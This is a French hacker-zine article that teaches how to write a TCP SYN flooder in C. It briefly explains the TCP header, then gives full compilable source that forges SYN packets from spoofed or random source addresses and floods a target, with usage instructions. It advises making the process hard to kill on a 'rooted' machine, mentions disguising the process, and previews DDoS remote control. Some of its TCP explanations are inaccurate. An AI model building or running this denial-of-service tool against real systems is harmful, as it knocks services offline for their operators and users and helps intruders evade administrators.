--------------------------------------------------------------------------------------- XIV. Programmation d'un TCP SYN FLOODER Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Nous revoila partis pour le continuum de la série d'articles dédiés aux DoS, nouvelle mouture d'IOC oblige ! Dans le numéro précédent, nous avions étudié le fonctionnement et la programmation d'un ICMP smurfer, cette fois- ci nous nous intérésserons à un outil plus en vogue, le TCP SYN FLOODER. Nous allons passer en revue les différents aspects de ce genre d'attaque, ptit prog à l'appui, avec épuration de longues théories plus que futiles (est-ce un pléonasme?!)! [ Sommaire ] I. Protocole TCP II. Datagramme TCP III.Programmation du flooder IV. Implémentation V. Code source I. Le Protocole TCP : _____________________ Pour une description quasi-exhaustive du protocole TCP et de son fonction- -nement, reportez-vous à l'issue #1. Je vais me contenter ici de rappeler les points les plus importants, caractéristiques de ce protocole. TCP permet l'envoi de donées sur un réseau entre deux hôtes distants. Ce dernier, articulé autour d'une architecture multi-couches, se situe au-dessus du protocole IP, et entretient un contact permanent lui, ce qui lui permet d'envoyer et de recevoir des segments d'informations de tailles variables (voir description des champs de l'header). Il faut savoir que le protocole TCP dépend de l'Internet Protocol, en effet celui-ci s'occupe de la fragmen- -tation et de l'organisation des paquets TCP reçus lors de la traversée d'un réseau quelconque. Nous allons voir ci-dessous que le protocole TCP prend en charge une connexion dit "permanente" entre deux hôtes réseaux distants. L'établissement de cette connection se divise en trois temps (three ways hand shake), la machine A envoie un SYN à la machine B, la machine B répond par un SYN+ACK (ou RST, voir plus bas les bits de contrôle), puis la machine A clôt le balai en envoyant un paquet porteur du bit ACK. Voici l'organisation des couches protocoles : Protocol layering ^ +---------------------+ | | Niveaux supérieurs | | +---------------------+ | | TCP |\ ^ +---------------------+ >- communication | | IP |/ | +---------------------+ | |Transmissions réseaux| <- couche physique ^ +---------------------+ Deux derniers points importants : lorsqu'on parle de segment fragmentation, c'est en fait au clivage d'une trame unique en plusieurs paquets différents de taille moindre que l'on mentionne. Cette trame est ainsi découpée en petits paquets d'une taille définie sur l'header (champs Options, type 3, voir ci-dessous). C'est là ou les subtilités commencent. Pour éviter toute perte quelquequ'elle soit, et pour permettre aux paquets de suivre des chemins différents, l'encom- -brement des réseaux (et d'autres facteurs), un numéro de séquence leur est attribué avant envoi. C'est ainsi que lors de leur récéption, ils sont réordon- -nés pour former la trame complête originale, et cela permet alors une reémission des paquets perdus du fait qu'à chaque numéro de séquence correspond un numéro d'acquittement qui fonctionne en parallèle avec son homologue. Nous allons maintenant survoler la sécurité du protocole TCP, la différence avec celle de l'IP est flagrante, différence résultant du fait qu'un maintien de la connection est effectué. On dira alors que le protocole IP est "non-connecté", ou fonctionne en mode datagrammes, et que TCP est ainsi "connecté" (en réalité il ne fonctionne qu'en "semi-connecté", mais ceci ne nous intérèsse pas ici). Vous vous demandez alors comment vérifier la réèlle source d'un paquet autre que par la lecture du champs source de l'header TCP? C'est ici qu'intervient l'ISN (Incrementation of Sequence Numbers). Au démarrage de la machine, l'ISN est initialisé à 1. A chaque seconde écoulée, en réalité à chaque saut réalisé par le paquet, l'ISN s'incrémente de 128 000 et à chaque connexion établie il s'incrémente également de 64 000. Lors d'un détournement de session, tel qu'un IP Spoofing, l'attaquant doit d'une part récupérer le dernier numéro de séquence de la machine à détourner puis établir des statistiques sur le temps de tranfert pour enfin en déduire le taux d'incrémentation qu'il va faire subir aux numéros de séquences de ses paquets pirates. Nous allons passer en revue les différents champs constituant le datagramme TCP. II. Datagramme TCP : ____________________ 0 16 31 +-------------------------------+-------------------------------+ | Port Source (16) | Port Desination (16) | +---------------------------------------------------------------+ | Numéro de séquence (32) | +---------------------------------------------------------------+ | Accusé de récéption (32) | +---------------------------------------------------------------+ | Data(4)| Réservé |U|A|P|R|S|F| Fenêtre (Window) (16) | | Offset | (6) | | | | | | | | +---------------------------------------------------------------+ | Checksum (16) | Pointeur URG_DATAS (16) | +---------------------------------------------------------------+ | Options (variable) | Padding (variable) | +---------------------------------------------------------------+ | DONNEES | +-------------------------------+-------------------------------+ ¤ Port source: Le port duquel est envoyé la trame. ¤ Port destination: Le port du destinataire sur lequel il recevra sa trame réseau. ¤ Numéro de séquence: Propre au protocole TCP, un numéro est attribué à chaque paquet formant ladite trame. Une fois arrivés sur l'hôte distant, ils sont réordonnés selon leur numéro de séquence. ¤ Accusé de récéption: (ou acquittement) Si le ACK est notifié, alors le champ contiendra le numéro de séquence que le récépteur s'attend à recevoir. ¤ Data Offset: Représente la taille de l'en-tête TCP en DWORDS (mots de 32 bits), par défaut il pointe sur 5. (5*32=160 bits) ¤ Réservé: Réservé pour usage ultérieur, pointe obligatoirement sur 0. ¤ Flags: Voici les 6 flags caractéristiques à l'header TCP, appelés aussi bits de contrôle ils régissent le traitement des données lors de la récéption ou tout simplement le processus de three ways hand shake. SYN: Synchronisation ACK: Acquittement RST: Connection réinitialisée FIN: Fin d'envoie de données URG: Pointeur de données urgentes PSH: Push les données ¤ Fenêtre(window): Nombre maximum d'octets que le récépteur est capable de recevoir. Si le nombre dépasse la valeur donnée, alors on fragmente en plusieurs paquets. ¤ Checksum: Somme de contrôle, calcule le complément à 1 sur 16 bits de la somme des compléments à 1 des octets de l'en-tête et des données pris deux par deux (mots de 16 bits). Si le message entier contient un nombre impair d'octets, un 0 est ajouté à la fin du message pour terminer le calcul du Checksum. (voir bibli à la fin) En clair cette fonction, utilisée pour vérifier l'intégrité de l'header propre au protocole (ici TCP). ¤ Pointeur URG_DATAS: Si le flag URG est définie à 1 alors, en pointant sur les données urgentes, la positions de ces dites données est révélée pour un traitement immédiat. ¤ Options: Voici les différentes options proposés par TCP : Type longueur Valeur Signification 0 - 0x0000000 Fin - options 1 - 0x0000001 No-opération 2 4 0x0000010 Taille maximale ségment Fin option: Il déterminte la fin de la liste des options, il se place en dernière position et permet de différencier le champ Options de celui des données, au cas où il y aurait débordement. Ceci évite toute erreur lors du traitement des données. 0x90(NOP!): Organisatieur facultatif, il se place entre différentes options. Taille maximale segment: Lors du processus de connection entre deux hôtes, cet option peut être envoyée en complément d'un flag SYN pointant sur 1, pour définir la taille maximum d'un segment (16 bits). Par défaut la taille d'un segment est variable. ¤ Padding: Le padding ou remplissage, sert à certifier la taille de l'header TCP, en octets, comme étant un multiple de 4 (32 bits), et à vérifier l'offset de données comme marquant bien le début des données applicatives. L'header TCP peut paraître assez imposant, mais il n'en est rien lors de la programmation. Nous allons, comme lors de notre précédent icmp smurfer, utiliser les structures correspondantes à nos protocoles contenues dans les librairies proposées par notre immaculé système fétiche. III. Programmation du flooder : ________________________________ Nous y voici enfin ! La partie programmation est ludique à souhait ! Réveillez votre désir de création ! Le principe du tcp syn flooding est très simple. Lorsque vous envoyer un SYN, l'ordinateur distant alloue des ressources pour chaque connection. De là, nous allons nous contenter d'inonder le système cible sous un nombre suffisamment important de requètes SYN pour épuiser ses ressources et mettre hors service la machine attaquée. Notez que ce type d'attaque fait partie intégrante de l'IP spoofing ;-). Donc nous utiliserons différentes structures pour remplir nos headers IP et TCP: (un tit cat /usr/include/netinet/ip.h || tcp.h) [ Header IP ] (pour la description de l'header IP, reportez-vous à l'issue précédente #ICMP Smurfer) struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; [ Header TCP ] struct tcphdr { __u16 source; __u16 dest; __u32 seq; __u32 ack_seq; #if defined(__LITTLE_ENDIAN_BITFIELD) __u16 res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, res2:2; #elif defined(__BIG_ENDIAN_BITFIELD) __u16 doff:4, res1:4, res2:2, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1; #else #error "Adjust your defines" #endif __u16 window; __u16 check; __u16 urg_ptr; }; [ Pseudo header TCP ] Cette structure du pseudo header TCP est utilisé pour calculer la somme de contrôle, on définie l'adresse source et destination pour minimiser les pertes de segments sur le réseau, le protocole (TCP) et la taille du segment. Le char useless est utilisé pour respecter la limite de 32 bits du segment. ------8<--------------------------------------------------------------------- struct pseudohdr pseudo; struct tcphdr tcp; pseudo.saddr = inet_addr("127.0.0.1"); pseudo.daddr = inet_addr("127.0.0.1"); pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr) + sizeof(data); tcp->check = in_cksum((unsigned short *)&pseudo, sizeof(struct pseudohdr)+sizeof(struct tcphdr)); ------8<--------------------------------------------------------------------- Passons dès à présent à l'implémentation de notre programme. IV. Implémentation : _____________________ => En-têtes, variables et structures => Fonctions 1) En-têtes, variables et structures : ______________________________________ Je ne vais pas reposer les bases de la programmation raw sockets, nous allons passer en revue les différentes fonctions autour desquelles notre flooder s'articule. #include #include // structure ip header #include // structure tcp header #include // structure sockaddr_in/in_addr #include // manipulation des threads, objects et données #include // structures sockaddr #include // structures hostent/netent/servent/protoent #include // déclaration de types, constantes, fonctions diverses #include // intéraction avec mécanisme des signaux (voir plus bas) (j'ai piqué ces constantes au syn flooder de Zakath ;-)) // En ignorant tous ces signaux, le flooder devient beaucoup plus difficile à supprimer! #define HEALTY // ignore tous les sinaux sauf Segfault #define NOSEGV // ignore segfault #define HIDDEN "emacs" // cache le processus de notre fonction #define SEQ 0x28376839 // numéro de séquence struct tcphdr *tcp; // structure générale header TCP struct iphdr *ip; // structure générale header IP struct sockaddr_in rhost; // pointeur sur l'adresse destinataire (cible) struct hostent *source; // pointeur sur adresse source int synfsock, sock, optval; char *packet, *buffer; 2) Fonctions : ______________ [ getaddr ] Cette fonction ne prend qu'un seul argument de type char représentant le nom de la machine, et permet de vérifier la présence de cet hôte sur le réseaux. Elle retourne l'adresse réseau de ce dernier au format u_long. unsigned long getaddr(char *sname){ struct hostent * hip; // notre structure hostent (voir issue précédente) hip = gethostbyname(sname); // présence de l'hôte if (!hip){ perror("Adresse invalide"); // en c exit(1); } return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format réseau de la structure hostent } [ set_rnd ] Lorsque nous allons définir aléatoirement et manuellement des adresses IP, nous aurons besoin d'une fonction qui déclare en random les différents octets de notre IP: here we are! Notez qu'elle retourne un type int et prend en argument deux types int, min et max qui sont les bornes à ne pas dépasser lors du choix aléatoire de l'octet, respectivement: 0 et 255, soit 256 possibilités. int set_rnd(int min, int max){ int r; // le type int que nous retournerons r = rand()%(((max + 1) - (min)) + (min)); // calcul aléatoire de l'octet return r; } [ ip_rnd ] Et voici notre fonction calculant aléatoirement une IP à l'aide de set_rnd, elle retourne un pointeur sur l'adresse random créée: char *ip_rnd(){ int n1, n2, n3, n4; // les octets 1,2,3,4 de notre IP char *false_ip; // Notre pointeur sur l'adresse random false_ip = (char *) malloc(1024); // allocation dynamique de mémoire pour notre pointeur (pour éviter les segfault ;-)) n1 = set_rnd(0, 254); // calcul aléatoire de l'octet 1 n2 = set_rnd(0, 254); // calcul aléatoire de l'octet 2 n3 = set_rnd(0, 254); // calcul aléatoire de l'octet 3 n4 = set_rnd(0, 254); // calcul aléatoire de l'octet 4 sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4); // on réorganise l'ensemble des 4 octets return false_ip; // et on retourne l'ip créée } [ sig_exit, sig_segv ] Lors de la déclaration de nos constantes, nous avions définis HEALTY et NOSEGV pour éviter à notre flooder de mordre la poussière sous le premier killer process qui se présente. En effet, dans le cas ou vous voudriez utiliser cet outil à distance sur une machine rootée, vous allez alors rendre la tache beaucoup plus difficile à l'admin qui pénera à supprimer le process de notre flooder. Sig_exit et sig_segv ne retourne rien et prenne en argument un int crap=0, si les macros HEALTY et NOSEGV ne sont pas reconnues, alors on quitte. void sig_exit(int crap) { #ifndef HEALTHY // macro non existante? printf("Signal Caught. Exiting Cleanly.\n"); exit(crap); // on quitte #endif } void sig_segv(int crap) { #ifndef NOSEGV // macro non existante? printf("Segmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); // on quitte #endif } [ init_signals ] Voici la fonction qui ignore un hypothétique signal envoyé au processus de notre flooder. void init_signals() { // les différents signaux connus actuellement signal(SIGHUP, sig_exit); // hang up signal(SIGINT, sig_exit); // signal d'interruption terminale signal(SIGQUIT, sig_exit); // signal d'arrêt final signal(SIGILL, sig_exit); // instruction illégale signal(SIGTRAP, sig_exit); // trace/breakpoint trap signal(SIGBUS, sig_exit); // accès à une portion non définie de mémoire signal(SIGFPE, sig_exit); // opération arithmétique érronée signal(SIGKILL, sig_exit); // killer signal, il ne peut être ignoré signal(SIGUSR1, sig_exit); // signal, définis par l'utilisateur, 1 signal(SIGSEGV, sig_segv); // utilisation érronée de mémoire signal(SIGUSR2, sig_exit); // signal, définis par l'utilisateur, 2 signal(SIGPIPE, sig_exit); // écriture sur un pipe (écriture seulement) signal(SIGALRM, sig_exit); // alarme horloge signal(SIGTERM, sig_exit); // Signal de terminaison signal(SIGCHLD, sig_exit); // child process stoppé ou terminé signal(SIGCONT, sig_exit); // continué l'éxécution en cas d'arrêt signal(SIGSTOP, sig_exit); // fin d'éxécution (ne peut être ignoré) signal(SIGTSTP, sig_exit); // signal stop finale signal(SIGTTIN, sig_exit); // lecture d'un processus en arrière plan (background process) signal(SIGTTOU, sig_exit); // écriture sur un processus en arrière plan (background process) signal(SIGURG, sig_exit); // bande passante données important disponible pour un socket signal(SIGXCPU, sig_exit); // limite temps CPU atteinte signal(SIGXFSZ, sig_exit); // taille limite d'un fichier atteinte signal(SIGVTALRM, sig_exit); // Temps maximum du timer virtuel atteint signal(SIGPROF, sig_exit); // profiling timer expiré signal(SIGIOT, sig_exit); // ? signal(SIGWINCH, sig_exit); // ? signal(SIGIO, sig_exit); // ? signal(SIGPWR, sig_exit); // ? } [ synflood ] Notre dernière fonction, la plus importante, elle prend cinq arguments: o u_long ipspoofee: ce ne peut être plus clair, notre adresse source spoofée (random ou définie par l'utilisateur). o u_long acbile: l'adresse de notre cible. o int x: il joue le rôle d'un boolean, il retourne 1 si l'IP doit être créée en random ou 0 sinon. o int nbrp: nombre totale de paquets à envoyer. o int max_ports: le plus grand port de destination. Nous allons donc d'une part concaténer deux boucles, l'une pour le nombre de paquets à envoyer, l'autre pour le nombre de ports de destination, et ensuite définir une ip en random si x==0, puis forger nos headers IP et TCP en nous contentant de remplir les différents champs propres aux structures associées. Notez que que nous utiliserons la fonction setsockopt() pour attribuer des fonctions à notre socket. Voici sa syntaxe: setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen); o int s: spécifie une socket pour laquelle une option doit être établie. o int level: spécifie si l'opération s'applique à la socket elle même ou au protocole en cours d'utilisation. La socket est représenté par la constant SOL_SOCKET, alors qu'un autre protocole requière son numéro (cat etc/protocols). o int optname: spécifie une option simple à laquelle la requête s'applique. o const void *optval: la valeur de l'option. o socklen_t optlen: la taille de la valeur précédente. En cas d'échec, setsockopt() retourne -1 en affichant l'erreur correspondante (en réalite un numéro d'erreur): o EBADF: s n'est pas un descripteur valide. o ENOTSOCK: s n'est pas un socket descriptor. o ENOPROTOOPT: l'option optname est inconnue. o EFAULT: optval n'est pas un pointeur valide. Comme nous forgeons manuellement nos paquets, optname retournera l'option IP_HDRINCL indiquant au système de ne pas générer d'en-tête IP. int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports) { // nos variables char *paquet, *fip; int i, j, preussi=-1, pechou=0; printf("x=%i\n", x); for(i=0;i<=nbrp;i++) // première boucle (nombre de paquets total à envoyer) { for(j=1; j<=max_ports; j++) // seconde boucle concaténer (valeur actuelle du port de destination) { if (x==1) // si x==1 alors on choisie une IP aléatoire ipspoofee = getaddr(ip_rnd()); // allocation dynamique de mémoire, pour notre paquet et nos headers merci à [p]lug packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); // remplissage de notre header IP ip->ihl = 5; // IHL (5 minimum) ip->version = 4; // numéro de version (4) ip->tos = 0; // type de service ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); /longueur totale du paquet ip->id = (random()); // identificateur du paquet (pour fragmentation) ip->ttl = 255; // time to live, ou nombre maximum de sauts à éxécuter ip->protocol = IPPROTO_TCP; // protocole de niveau supérieur (voir protocol layering ci-dessous) ici TCP ip->saddr = ipspoofee; // adresse source spoofée ip->daddr = acible; // adresse de destination // notre pseudo en-tête TCP pseudo.saddr = ip->saddr; pseudo.daddr = ip->daddr; pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr); // remarquez que lorsque nous entrons des données à nos champs, nous utilisons la fonction htons pour convertir l'ordre des bits de l'hôte en format réseau tcp->source = htons(5000); // port source tcp->dest = htons(80); // port destination tcp->seq = htonl(SEQ); // numéro de séquence tcp->ack_seq = htonl(0); // séquence d'acquittement tcp->doff = 5; // data offset tcp->fin = 0; // bit de contrôle FIN tcp->syn = 1; // bit de contrôle SYN tcp->rst = 0; // bit de contrôle RST tcp->psh = 0; // bit de contrôle PSH tcp->ack = 0; // bit de contrôle ACK tcp->urg = 0; // bit de contrôle URG tcp->window = htons(65535); // fenêtre tcp->urg_ptr = htons(0); // pointeur urgent // sommes de contrôle tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); // déclaration de notre socket if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { // en cas d'errer on quitte perror("Erreur lors de la cregation du socket"); exit(0); } else { // déclaration des options attribuées à notre socket (voir plus haut) setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int)); rhost.sin_family = AF_INET; rhost.sin_port = tcp->dest; // utilité de cette fonction? tout est définie dans l'en-tête forgé rhost.sin_addr.s_addr = ip->daddr; // envoie du paquet if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0) { // en cas d'erreur on stop le processus (on "l'endort") pour 100 ms (plus que raisonnable pour une connection en 56) perror("Erreur lors de l'envoie des paquets SYN"); // puis on incrémente notre int pechou pechou++; usleep(100); }else{ // sinon on incrémente preussi et on endort provisoirement le processus printf("Paquet SYN envoye sur port: %i!\n", j); preussi++; usleep(100); } } // si le nombre maximum de ports de destination est atteint avant le nombre de paquets total à envoyer, max_port est réinitialisé à 0 if (j==max_ports) j=0; close(sock); } } // mes statistiques si chères ;-) printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n"); printf("Nombre total de paquets envoyes: %i\n", nbrp); printf("Nombre total de paquets reçus: %i\n", preussi); printf("Nombre total de paquets perdus: %i\n", pechou); return 0; } [ Point d'entrée ] Notre fonction main:! Nous récupérons les différents arguments entrés par l'utilisateur nécéssaires aux fonctions appelés ultérieurement pour le syn flooding. int main(int argc, char *argv[]) { // nos variables int x=0, nbrp=100, max_ports=100; long nseq; char *spoof, *cible; unsigned long aspoof, acible; if (argc < 2) { // si le nombre d'arguments entré est inférieur à 2 alors on affiche l'usage et on quitte printf(" TCP SYN FLOODER By Li0n7 \n\n"); printf(" .: Presentation des arguments :. \n\n"); printf(" -c : cible a flooder ;-) \n"); printf(" -r : IP choisie aléatoirement \n"); printf(" -s : IP sous laquelle se spoofer \n"); printf(" -n: nombre de paquets a envoyer, def=100 \n"); printf(" -p: nombre de ports a utiliser, def=100 \n"); exit(0); } else { // sinon tant que le nombre d'argument est supérieur à 0 on switch while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'c': // on récupère l'addresse cible que l'on passe en unsigned long cible=&argv[1][2]; acible = getaddr(cible); break; case 'r': // on récupère l'addresse cible que l'on passe en unsigned long, en attribuant la valeur à 1 à x (voir fonction synflood) x=1; aspoof = getaddr(ip_rnd()); break; case 's': // on récupère l'addresse source sous laquelle se spoofer que l'on passe en unsigned long spoof=&argv[1][2]; aspoof = getaddr(spoof); break; case 'n': // on récupère le nombre de paquets total à envoyer nbrp = atoi(&argv[1][2]); break; case 'p': // on récupère le port limite sur lequel envoyé les paquets spoofés max_ports = atoi(&argv[1][2]); if(max_ports > 65535 || max_ports < 0){ printf("Le port doit etre superieur a 0 et inferieur a 65535\n"); exit(0); } break; } --argc; ++argv; } } // puis on appelle notre fonction synflood en rentrant les arguments précédemment mis en mémoire synflood(aspoof, acible, x, nbrp, max_ports); return 0; } V. Code source : ________________ /******************************************/ /* Ssyn flooder By Li0n7 */ /* contactez-moi: Li0n7@voila.fr */ /* http://www.ioc.fr.st */ /* TCP SYN FLOODER */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include #include #define HEALTY #define NOSEGV #define HIDDEN "emacs" #define SEQ 0x28376839 int synfsock, sock, optval; char *packet, *buffer; struct tcphdr *tcp; struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }pseudo; struct iphdr *ip; struct sockaddr_in rhost; struct hostent *source; struct hostent *cible; unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } unsigned long getaddr(char *sname){ struct hostent * hip; hip = gethostbyname(sname); if (!hip){ perror("Adresse invalide"); exit(1); } return *(unsigned long *)hip -> h_addr; } int set_rnd(int min, int max){ int r; r = rand()%(((max + 1) - (min)) + (min)); return r; } char *ip_rnd(){ int n1, n2, n3, n4; char *false_ip; false_ip = (char *) malloc(1024); n1 = set_rnd(0, 254); n2 = set_rnd(0, 254); n3 = set_rnd(0, 254); n4 = set_rnd(0, 254); sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4); return false_ip; } void sig_exit(int crap) { #ifndef HEALTHY printf(" [H [JSignal Caught. Exiting Cleanly.\n"); exit(crap); #endif } void sig_segv(int crap) { #ifndef NOSEGV printf(" [H [JSegmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); #endif } void init_signals() { signal(SIGHUP, sig_exit); signal(SIGINT, sig_exit); signal(SIGQUIT, sig_exit); signal(SIGILL, sig_exit); signal(SIGTRAP, sig_exit); signal(SIGIOT, sig_exit); signal(SIGBUS, sig_exit); signal(SIGFPE, sig_exit); signal(SIGKILL, sig_exit); signal(SIGUSR1, sig_exit); signal(SIGSEGV, sig_segv); signal(SIGUSR2, sig_exit); signal(SIGPIPE, sig_exit); signal(SIGALRM, sig_exit); signal(SIGTERM, sig_exit); signal(SIGCHLD, sig_exit); signal(SIGCONT, sig_exit); signal(SIGSTOP, sig_exit); signal(SIGTSTP, sig_exit); signal(SIGTTIN, sig_exit); signal(SIGTTOU, sig_exit); signal(SIGURG, sig_exit); signal(SIGXCPU, sig_exit); signal(SIGXFSZ, sig_exit); signal(SIGVTALRM, sig_exit); signal(SIGPROF, sig_exit); signal(SIGWINCH, sig_exit); signal(SIGIO, sig_exit); signal(SIGPWR, sig_exit); } int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports) { char *paquet, *fip; int i, j, preussi=-1, pechou=0; printf("x=%i\n", x); for(i=0;i<=nbrp;i++) { for(j=1; j<=max_ports; j++) { if (x==1) ipspoofee = getaddr(ip_rnd()); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = (random()); ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = ipspoofee; ip->daddr = acible; pseudo.saddr = ip->saddr; pseudo.daddr = ip->daddr; pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr); tcp->source = htons(5000); tcp->dest = htons(80); tcp->seq = htonl(7); tcp->ack_seq = htonl(0); tcp->doff = 5; tcp->fin = 0; tcp->syn = 1; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->urg = 0; tcp->window = htons(65535); tcp->urg_ptr = htons(0); tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { perror("Erreur lors de la cregation du socket"); exit(0); } else { rhost.sin_family = AF_INET; rhost.sin_port = tcp->dest; rhost.sin_addr.s_addr = ip->daddr; if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0) { perror("Erreur lors de l'envoie des paquets SYN"); pechou++; usleep(100); }else{ printf("Paquet SYN envoye sur port: %i!\n", j); preussi++; usleep(100); } } if (j==max_ports) j=0; close(sock); } } printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n"); printf("Nombre total de paquets envoyes: %i\n", nbrp); printf("Nombre total de paquets reçus: %i\n", preussi); printf("Nombre total de paquets perdus: %i\n", pechou); return 0; } int main(int argc, char *argv[]) { int x=0, nbrp=100, max_ports=100; long nseq; char *spoof, *cible; unsigned long aspoof, acible; if (argc < 2) { printf(" TCP SYN FLOODER By Li0n7 \n\n"); printf(" .: Presentation des arguments :. \n\n"); printf(" usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r> \n"); printf(" -c : cible a flooder ;-) \n"); printf(" -r : IP choisie aléatoirement \n"); printf(" -s : IP sous laquelle se spoofer \n"); printf(" -n: nombre de paquets a envoyer, def=100 \n"); printf(" -p: nombre de ports a utiliser, def=100 \n"); exit(0); } else { while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'c': cible=&argv[1][2]; acible = getaddr(cible); break; case 'r': x=1; aspoof = getaddr(ip_rnd()); break; case 's': spoof=&argv[1][2]; aspoof = getaddr(spoof); break; case 'n': nbrp = atoi(&argv[1][2]); break; case 'p': max_ports = atoi(&argv[1][2]); if(max_ports > 65535 || max_ports < 0){ printf("Le port doit etre superieur a 0 et inferieur a 65535\n"); exit(0); } break; } --argc; ++argv; } } synflood(aspoof, acible, x, nbrp, max_ports); return 0; } VI. Conclusion : ________________ Vous voila à présent en possession des connaissances nécessaires à la prog de flooders TCP, rien de bien difficile en soit. Ce programme peut être optimisé et bénéficer d'améliorations notables, notamment au niveau de la gestion des ports de destination. Actuellement il envoie entre les ports 1 et max_ports, vous pouvez remplacer la constante 1 par un integer entré par l'utilisateur de manière a définir une plage de ports limite. Un moteur de contrôle du flooder à distance avec automatisation du flooding serait aussi susceptible d'être gréffer au programme. Nous abordons ici le DDoS, mais ce ne sera pas pour cette issue! Pour compiler: $ gcc -o tcp_synf tcp_synf.c usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r> -c : cible a flooder =)) -r : IP choisie aléatoirement. -s : IP sous laquelle se spoofer. -n: nombre de paquets a envoyer, defaut=100. -p: nombre de ports a utiliser, defaut=100. Voila tout, programmons par pur plaisir et non par intérêt, j'entends par là le fait que des sk puérils s'arrogent le droit de disposer de cet outil sans en comprendre la substance me répugne totalement. Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr